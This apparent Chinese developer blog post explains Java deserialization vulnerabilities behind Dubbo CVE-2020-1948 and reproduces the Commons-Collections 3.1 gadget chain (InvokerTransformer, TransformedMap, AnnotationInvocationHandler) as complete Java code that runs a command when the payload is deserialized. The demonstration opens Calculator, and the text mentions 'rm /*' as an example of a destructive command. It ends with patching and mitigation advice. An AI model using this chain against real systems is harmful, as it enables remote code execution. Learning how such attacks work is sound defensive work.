Dubbo 高危漏洞!原來(lái)都是反序列化惹得禍
點(diǎn)擊藍(lán)色“程序通事”關(guān)注我喲
加個(gè)“星標(biāo)”,助我從小黑屋出關(guān)?
前言
這周收到外部合作同事推送的一篇文章,【漏洞通告】Apache Dubbo Provider默認(rèn)反序列化遠(yuǎn)程代碼執(zhí)行漏洞(CVE-2020-1948)通告。
按照文章披露的漏洞影響范圍,可以說(shuō)是當(dāng)前所有的 Dubbo 的版本都有這個(gè)問(wèn)題。

無(wú)獨(dú)有偶,這周在 Github 自己的倉(cāng)庫(kù)上推送幾行改動(dòng),不一會(huì)就收到 Github 安全提示,警告當(dāng)前項(xiàng)目存在安全漏洞CVE-2018-10237。

可以看到這兩個(gè)漏洞都是利用反序列化進(jìn)行執(zhí)行惡意代碼,可能很多同學(xué)跟我當(dāng)初一樣,看到這個(gè)一臉懵逼。好端端的反序列化,怎么就能被惡意利用,用來(lái)執(zhí)行的惡意代碼?

這篇文章我們就來(lái)聊聊反序列化漏洞,了解一下黑客是如何利用這個(gè)漏洞進(jìn)行攻擊。
反序列化漏洞
在了解反序列化漏洞之前,首先我們學(xué)習(xí)一下兩個(gè)基礎(chǔ)知識(shí)。
Java 運(yùn)行外部命令
Java 中有一個(gè)類 Runtime,我們可以使用這個(gè)類執(zhí)行執(zhí)行一些外部命令。
下面例子中我們使用 Runtime 運(yùn)行打開(kāi)系統(tǒng)的計(jì)算器軟件。
//?僅適用macos?
Runtime.getRuntime().exec("open?-a?Calculator?");
有了這個(gè)類,惡意代碼就可以執(zhí)行外部命令,比如執(zhí)行一把 rm /*。
序列化/反序列化
如果經(jīng)常使用 Dubbo,Java 序列化與反序列化應(yīng)該不會(huì)陌生。
一個(gè)類通過(guò)實(shí)現(xiàn) Serializable接口,我們就可以將其序列化成二進(jìn)制數(shù)據(jù),進(jìn)而存儲(chǔ)在文件中,或者使用網(wǎng)絡(luò)傳輸。
其他程序可以通過(guò)網(wǎng)絡(luò)接收,或者讀取文件的方式,讀取序列化的數(shù)據(jù),然后對(duì)其進(jìn)行反序列化,從而反向得到相應(yīng)的類的實(shí)例。

下面的例子我們將 App 的對(duì)象進(jìn)行序列化,然后將數(shù)據(jù)保存到的文件中。后續(xù)再?gòu)奈募凶x取序列化數(shù)據(jù),對(duì)其進(jìn)行反序列化得到 App 類的對(duì)象實(shí)例。
public?class?App?implements?Serializable?{
????private?String?name;
????private?static?final?long?serialVersionUID?=?7683681352462061434L;
????private?void?readObject(java.io.ObjectInputStream?in)?throws?IOException,?ClassNotFoundException?{
????????in.defaultReadObject();
????????System.out.println("readObject?name?is?"+name);
????????Runtime.getRuntime().exec("open?-a?Calculator");
????}
????public?static?void?main(String[]?args)?throws?IOException,?ClassNotFoundException?{
????????App?app?=?new?App();
????????app.name?=?"程序通事";
????????FileOutputStream?fos?=?new?FileOutputStream("test.payload");
????????ObjectOutputStream?os?=?new?ObjectOutputStream(fos);
????????//writeObject()方法將Unsafe對(duì)象寫(xiě)入object文件
????????os.writeObject(app);
????????os.close();
????????//從文件中反序列化obj對(duì)象
????????FileInputStream?fis?=?new?FileInputStream("test.payload");
????????ObjectInputStream?ois?=?new?ObjectInputStream(fis);
????????//恢復(fù)對(duì)象
????????App?objectFromDisk?=?(App)ois.readObject();
????????System.out.println("main?name?is?"+objectFromDisk.name);
????????ois.close();
????}
執(zhí)行結(jié)果:
readObject name is 程序通事
main name is 程序通事
并且成功打開(kāi)了計(jì)算器程序。
當(dāng)我們調(diào)用 ObjectInputStream#readObject讀取反序列化的數(shù)據(jù),如果對(duì)象內(nèi)實(shí)現(xiàn)了 readObject方法,這個(gè)方法將會(huì)被調(diào)用。
源碼如下:

反序列化漏洞執(zhí)行條件
上面的例子中,我們?cè)?readObject 方法內(nèi)主動(dòng)使用Runtime執(zhí)行外部命令。但是正常的情況下,我們肯定不會(huì)在 readObject寫(xiě)上述代碼,除非是內(nèi)鬼 ̄□ ̄||

如果可以找到一個(gè)對(duì)象,他的readObject方法可以執(zhí)行任意代碼,那么在反序列過(guò)程也會(huì)執(zhí)行對(duì)應(yīng)的代碼。我們只要將滿足上述條件的對(duì)象序列化之后發(fā)送給先相應(yīng) Java 程序,Java 程序讀取之后,進(jìn)行反序列化,就會(huì)執(zhí)行指定的代碼。
為了使反序列化漏洞成功執(zhí)行需要滿足以下條件:
- Java 反序列化應(yīng)用中需要存在序列化使用的類,不然反序列化時(shí)將會(huì)拋出 ?
ClassNotFoundException異常。 - Java 反序列化對(duì)象的
readObject方法可以執(zhí)行任何代碼,沒(méi)有任何驗(yàn)證或者限制。
引用一段網(wǎng)上的反序列化攻擊流程,來(lái)源:https://xz.aliyun.com/t/7031
- 客戶端構(gòu)造payload(有效載荷),并進(jìn)行一層層的封裝,完成最后的exp(exploit-利用代碼)
- exp發(fā)送到服務(wù)端,進(jìn)入一個(gè)服務(wù)端自主復(fù)寫(xiě)(也可能是也有組件復(fù)寫(xiě))的readobject函數(shù),它會(huì)反序列化恢復(fù)我們構(gòu)造的exp去形成一個(gè)惡意的數(shù)據(jù)格式exp_1(剝?nèi)サ谝粚樱?/li>
- 這個(gè)惡意數(shù)據(jù)exp_1在接下來(lái)的處理流程(可能是在自主復(fù)寫(xiě)的readobject中、也可能是在外面的邏輯中),會(huì)執(zhí)行一個(gè)exp_1這個(gè)惡意數(shù)據(jù)類的一個(gè)方法,在方法中會(huì)根據(jù)exp_1的內(nèi)容進(jìn)行函處理,從而一層層地剝?nèi)ィɑ蛘哒f(shuō)變形、解析)我們exp_1變成exp_2、exp_3......
- 最后在一個(gè)可執(zhí)行任意命令的函數(shù)中執(zhí)行最后的payload,完成遠(yuǎn)程代碼執(zhí)行。
Common-Collections
下面我們以 Common-Collections 的存在反序列化漏洞為例,來(lái)復(fù)現(xiàn)反序列化攻擊流程。
首先我們?cè)趹?yīng)用內(nèi)引入 Common-Collections 依賴,這里需要注意,我們需要引入 3.2.2 版本之前,之后的版本這個(gè)漏洞已經(jīng)被修復(fù)。
????commons-collections
????commons-collections
????3.1
PS:下面的代碼只有在 JDK7 環(huán)境下執(zhí)行才能復(fù)現(xiàn)這個(gè)問(wèn)題。
首先我們需要明確,我們做一系列目的就是為了讓?xiě)?yīng)用程序成功執(zhí)行 Runtime.getRuntime().exec("open -a Calculator")。
當(dāng)然我們沒(méi)辦法讓程序直接運(yùn)行上述語(yǔ)句,我們需要借助其他類,間接執(zhí)行。
Common-Collections存在一個(gè) Transformer,可以將一個(gè)對(duì)象類型轉(zhuǎn)為另一個(gè)對(duì)象類型,相當(dāng)于 Java Stream 中的 map 函數(shù)。
Transformer有幾個(gè)實(shí)現(xiàn)類:
ConstantTransformerInvokerTransformerChainedTransformer
其中 ConstantTransformer用于將對(duì)象轉(zhuǎn)為一個(gè)常量值,例如:
Transformer?transformer?=?new?ConstantTransformer("程序通事");
Object?transform?=?transformer.transform("樓下小黑哥");
//?輸出對(duì)象為?程序通事
System.out.println(transform);
InvokerTransformer將會(huì)使用反射機(jī)制執(zhí)行指定方法,例如:
Transformer?transformer?=?new?InvokerTransformer(
????????"append",
????????new?Class[]{String.class},
????????new?Object[]{"樓下小黑哥"}
);
StringBuilder?input=new?StringBuilder("程序通事-");
//?反射執(zhí)行了?input.append("樓下小黑哥");
Object?transform?=?transformer.transform(input);
//?程序通事-樓下小黑哥
System.out.println(transform);
ChainedTransformer 需要傳入一個(gè) Transformer[]數(shù)組對(duì)象,使用責(zé)任鏈模式執(zhí)行的內(nèi)部 Transformer,例如:
Transformer[]?transformers?=?new?Transformer[]{
????????new?ConstantTransformer(Runtime.getRuntime()),
????????new?InvokerTransformer(
????????????????"exec",
????????????????new?Class[]{String.class},?new?Object[]{"open?-a?Calculator"})
};
Transformer?chainTransformer?=?new?ChainedTransformer(transformers);
chainTransformer.transform("任意對(duì)象值");
通過(guò) ChainedTransformer 鏈?zhǔn)綀?zhí)行 ConstantTransformer,InvokerTransformer邏輯,最后我們成功的運(yùn)行的 Runtime語(yǔ)句。
不過(guò)上述的代碼存在一些問(wèn)題,Runtime沒(méi)有繼承 Serializable接口,我們無(wú)法將其進(jìn)行序列化。

如果對(duì)其進(jìn)行序列化程序?qū)?huì)拋出異常:
image-20200705123341395我們需要改造以上代碼,使用 Runtime.class 經(jīng)過(guò)一系列的反射執(zhí)行:
String[]?execArgs?=?new?String[]{"open?-a?Calculator"};
final?Transformer[]?transformers?=?new?Transformer[]{
????????new?ConstantTransformer(Runtime.class),
????????new?InvokerTransformer(
????????????????"getMethod",
????????????????new?Class[]{String.class,?Class[].class},
????????????????new?Object[]{"getRuntime",?new?Class[0]}
????????),
????????new?InvokerTransformer(
????????????????"invoke",
????????????????new?Class[]{Object.class,?Object[].class},
????????????????new?Object[]{null,?new?Object[0]}
????????),
????????new?InvokerTransformer(
????????????????"exec",
????????????????new?Class[]{String.class},?execArgs),
};
剛接觸這塊的同學(xué)的應(yīng)該已經(jīng)看暈了吧,沒(méi)關(guān)系,我將上面的代碼翻譯一下正常的反射代碼一下:
((Runtime)?Runtime.class.
????????getMethod("getRuntime",?null).
????????invoke(null,?null)).
????????exec("open?-a?Calculator");
TransformedMap
接下來(lái)我們需要找到相關(guān)類,可以自動(dòng)調(diào)用Transformer內(nèi)部方法。
Common-Collections內(nèi)有兩個(gè)類將會(huì)調(diào)用 Transformer:
TransformedMapLazyMap
下面將會(huì)主要介紹 TransformedMap觸發(fā)方式,LazyMap觸發(fā)方式比較類似,感興趣的同學(xué)可以研究這個(gè)開(kāi)源庫(kù)@ysoserial CommonsCollections1。
Github 地址:https://github.com/frohoff/ysoserial
TransformedMap 可以用來(lái)對(duì) Map 進(jìn)行某種變換,底層原理實(shí)際上是使用傳入的 Transformer 進(jìn)行轉(zhuǎn)換。
Transformer?transformer?=?new?ConstantTransformer("程序通事");
Map?testMap?=?new?HashMap<>();
testMap.put("a",?"A");
//?只對(duì)?value?進(jìn)行轉(zhuǎn)換
Map?decorate?=?TransformedMap.decorate(testMap,?null,?transformer);
//?put?方法將會(huì)觸發(fā)調(diào)用?Transformer?內(nèi)部方法
decorate.put("b",?"B");
for?(Object?entry?:?decorate.entrySet())?{
????Map.Entry?temp?=?(Map.Entry)?entry;
????if?(temp.getKey().equals("a"))?{
????????//?Map.Entry?setValue?也會(huì)觸發(fā)?Transformer?內(nèi)部方法
????????temp.setValue("AAA");
????}
}
System.out.println(decorate);
輸出結(jié)果為:
{b=程序通事,?a=程序通事}
AnnotationInvocationHandler
上文中我們知道了,只要調(diào)用 TransformedMap的 put 方法,或者調(diào)用 Map.Entry的 setValue方法就可以觸發(fā)我們?cè)O(shè)置的 ChainedTransformer,從而觸發(fā) Runtime 執(zhí)行外部命令。
現(xiàn)在我們就需要找到一個(gè)可序列化的類,這個(gè)類正好實(shí)現(xiàn)了 readObject,且正好可以調(diào)用 Map put 的方法或者調(diào)用 Map.Entry的 setValue。
Java 中有一個(gè)類 sun.reflect.annotation.AnnotationInvocationHandler,正好滿足上述的條件。這個(gè)類構(gòu)造函數(shù)可以設(shè)置一個(gè) Map 變量,這下剛好可以把上面的 TransformedMap 設(shè)置進(jìn)去。

不過(guò)不要高興的太早,這個(gè)類沒(méi)有 public 修飾符,默認(rèn)只有同一個(gè)包才可以使用。

不過(guò)這點(diǎn)難度,跟上面一比,還真是輕松,我們可以通過(guò)反射獲取從而獲取這個(gè)類的實(shí)例。
示例代碼如下:
Class?cls?=?Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor?ctor?=?cls.getDeclaredConstructor(Class.class,?Map.class);
ctor.setAccessible(true);
//?隨便使用一個(gè)注解
Object?instance?=?ctor.newInstance(Target.class,?exMap);
完整的序列化漏洞示例代碼如下 :
String[]?execArgs?=?new?String[]{"open?-a?Calculator"};
final?Transformer[]?transformers?=?new?Transformer[]{
????????new?ConstantTransformer(Runtime.class),
????????new?InvokerTransformer(
????????????????"getMethod",
????????????????new?Class[]{String.class,?Class[].class},
????????????????new?Object[]{"getRuntime",?new?Class[0]}
????????),
????????new?InvokerTransformer(
????????????????"invoke",
????????????????new?Class[]{Object.class,?Object[].class},
????????????????new?Object[]{null,?new?Object[0]}
????????),
????????new?InvokerTransformer(
????????????????"exec",
????????????????new?Class[]{String.class},?execArgs),
};
//
Transformer?transformerChain?=?new?ChainedTransformer(transformers);
Map?tempMap?=?new?HashMap<>();
//?tempMap?不能為空
tempMap.put("value",?"you");
Map?exMap?=?TransformedMap.decorate(tempMap,?null,?transformerChain);
Class?cls?=?Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor?ctor?=?cls.getDeclaredConstructor(Class.class,?Map.class);
ctor.setAccessible(true);
//?隨便使用一個(gè)注解
Object?instance?=?ctor.newInstance(Target.class,?exMap);
File?f?=?new?File("test.payload");
ObjectOutputStream?oos?=?new?ObjectOutputStream(new?FileOutputStream(f));
oos.writeObject(instance);
oos.flush();
oos.close();
ObjectInputStream?ois?=?new?ObjectInputStream(new?FileInputStream(f));
//?觸發(fā)代碼執(zhí)行
Object?newObj?=?ois.readObject();
ois.close();
上面代碼中需要注意,tempMap需要一定不能為空,且 key 一定要是 value。那可能有的同學(xué)為什么一定要這樣設(shè)置?
tempMap不能為空的原因是因?yàn)?readObject 方法內(nèi)需要遍歷內(nèi)部 Map.Entry.
至于第二個(gè)問(wèn)題,別問(wèn),問(wèn)就是玄學(xué)~好吧,我也沒(méi)研究清楚--,有了解的小伙伴的留言一下。
最后總結(jié)一下這個(gè)反序列化漏洞代碼執(zhí)行鏈路如下:

Common-Collections 漏洞修復(fù)方式
在 JDK 8 中,AnnotationInvocationHandler 移除了 memberValue.setValue的調(diào)用,從而使我們上面構(gòu)造的 AnnotationInvocationHandler+TransformedMap失效。
另外 Common-Collections3.2.2 版本,對(duì)這些不安全的 Java 類序列化支持增加了開(kāi)關(guān),默認(rèn)為關(guān)閉狀態(tài)。
比如在 InvokerTransformer類中重寫(xiě) readObject,增相關(guān)判斷。如果沒(méi)有開(kāi)啟不安全的類的序列化則會(huì)拋出UnsupportedOperationException異常
Dubbo 反序列化漏洞
Dubbo 反序列化漏洞原理與上面的類似,但是執(zhí)行的代碼攻擊鏈與上面完全不一樣,這里就不再?gòu)?fù)現(xiàn)的詳細(xì)的實(shí)現(xiàn)的方式,感興趣的可以看下面兩篇文章:
https://blog.csdn.net/caiqiiqi/article/details/106934770
https://www.mail-archive.com/[email protected]/msg06544.html
Dubbo 在 2020-06-22 日發(fā)布 2.7.7 版本,升級(jí)內(nèi)容名其中包括了這個(gè)反序列化漏洞的修復(fù)。不過(guò)從其他人發(fā)布的文章來(lái)看,2.7.7 版本的修復(fù)方式,只是初步改善了問(wèn)題,不過(guò)并沒(méi)有根本上解決的這個(gè)問(wèn)題。
感興趣的同學(xué)可以看下這篇文章:
https://www.freebuf.com/mob/vuls/241975.html
防護(hù)措施
最后作為一名普通的開(kāi)發(fā)者來(lái)說(shuō),我們自己來(lái)修復(fù)這種漏洞,實(shí)在不太現(xiàn)實(shí)。
術(shù)業(yè)有專攻,這種專業(yè)的事,我們就交給個(gè)高的人來(lái)頂。
我們需要做的事,就是了解的這些漏洞的一些基本原理,樹(shù)立的一定意識(shí)。
其次我們需要了解一些基本的防護(hù)措施,做到一些基本的防御。
如果碰到這類問(wèn)題,我們及時(shí)需要關(guān)注官方的新的修復(fù)版本,盡早升級(jí),比如 Common-Collections 版本升級(jí)。
有些依賴 jar 包,升級(jí)還是方便,但是有些東西升級(jí)就比較麻煩了。就比如這次 Dubbo 來(lái)說(shuō),官方目前只放出的 Dubbo 2.7 版本的修復(fù)版本,如果我們需要升級(jí),需要將版本直接升級(jí)到 Dubbo 2.7.7。
如果你目前已經(jīng)在使用 Dubbo 2.7 版本,那么升級(jí)還是比較簡(jiǎn)單。但是如果還在使用 Dubbo 2.6 以下版本的,那么就麻煩了,沒(méi)辦法直接升級(jí)。
Dubbo 2.6 到 Dubbo 2.7 版本,其中升級(jí)太多了東西,就比如包名變更,影響真的比較大。
就拿我們系統(tǒng)來(lái)講,我們目前這套系統(tǒng),生產(chǎn)還在使用 JDK7。如果需要升級(jí),我們首先需要升級(jí) JDK。
其次,我們目前大部分應(yīng)用還在使用 Dubbo 2.5.6 版本,這是真的,版本就是這么低。
這部分應(yīng)用直接升級(jí)到 Dubbo 2.7 ,改動(dòng)其實(shí)非常大。另外有些基礎(chǔ)服務(wù),自從第一次部署之后,就再也沒(méi)有重新部署過(guò)。對(duì)于這類應(yīng)用還需要仔細(xì)評(píng)估。
最后,我們有些應(yīng)用,自己實(shí)現(xiàn)了 Dubbo SPI,由于 Dubbo 2.7 版本的包路徑改動(dòng),這些 Dubbo SPI 相關(guān)包路徑也需要做出一些改動(dòng)。
所以直接升級(jí)到 Dubbo 2.7 版本的,對(duì)于一些老系統(tǒng)來(lái)講,還真是一件比較麻煩的事。
如果真的需要升級(jí),不建議一次性全部升級(jí),建議采用逐步升級(jí)替換的方式,慢慢將整個(gè)系統(tǒng)的內(nèi) Dubbo 版本的升級(jí)。
所以這種情況下,短時(shí)間內(nèi)防御措施,可參考玄武實(shí)驗(yàn)室給出的方案:

如果當(dāng)前 Dubbo 部署云上,那其實(shí)比較簡(jiǎn)單,可以使用云廠商的提供的相關(guān)流量監(jiān)控產(chǎn)品,提前一步阻止漏洞的利用。
最后(來(lái)個(gè)一鍵四連!?。。?/span>
本人不是從事安全開(kāi)發(fā),上文中相關(guān)總結(jié)都是查詢網(wǎng)上資料,然后加以自己的理解。如果有任何錯(cuò)誤,麻煩各位大佬輕噴~?
如果可以的話,留言指出,謝謝了~
好了,說(shuō)完了正事,來(lái)說(shuō)說(shuō)這周的趣事~
這周搬到了小黑屋,哼次哼次進(jìn)入開(kāi)發(fā)~
剛進(jìn)到小黑屋的時(shí)候,我發(fā)現(xiàn)里面的桌子,可以單獨(dú)拆開(kāi)。于是我就單獨(dú)拆除一個(gè)桌子,然后霸占了一個(gè)背靠窗,正面直對(duì)大門的天然劃水摸魚(yú)的好位置。
之后我又叫來(lái)另外一個(gè)同事,坐在我的邊上。當(dāng)我們的把電腦,顯示器啥的都搬過(guò)來(lái)放到桌子上之后。外面進(jìn)來(lái)的同事就說(shuō)這個(gè)會(huì)議室怎么就變成了跟房產(chǎn)線下門店一樣了~
還真別說(shuō),在我的位置前面擺上兩把椅子,就跟上面的圖一樣了~

好了,下周有點(diǎn)不知道些什么,大家有啥想了解,感興趣的,可以留言一下~
如果沒(méi)有寫(xiě)作主題的話,咱就干回老本行,來(lái)聊聊這段時(shí)間,我在開(kāi)發(fā)的聚合支付模式,盡請(qǐng)期待哈~
幫助資料
- http://blog.nsfocus.net/deserialization/
- http://www.beesfun.com/2017/05/07/JAVA反序列化漏洞知識(shí)點(diǎn)整理/
- https://xz.aliyun.com/t/2041
- https://xz.aliyun.com/t/2028
- https://www.freebuf.com/vuls/241975.html
- http://rui0.cn/archives/1338
- http://apachecommonstipsandtricks.blogspot.com/2009/01/transformedmap-and-transformers-plug-in.html
- https://security.tencent.com/index.php/blog/msg/97
- JAVA反序列化漏洞完整過(guò)程分析與調(diào)試
- https://security.tencent.com/index.php/blog/msg/131
- https://paper.seebug.org/1264/#35
本文外鏈較多,由于公眾號(hào)無(wú)法直接點(diǎn)擊跳轉(zhuǎn),如需點(diǎn)擊文內(nèi)鏈接,請(qǐng)點(diǎn)擊原文再次跳轉(zhuǎn)~
老大吩咐的可重入分布式鎖,終于完美的實(shí)現(xiàn)了~
造了一個(gè) Redis 分布鎖的輪子,沒(méi)想到還學(xué)到這么多東西?。?!
MySQL 可重復(fù)讀,差點(diǎn)就讓我背上了一個(gè) P0 事故!
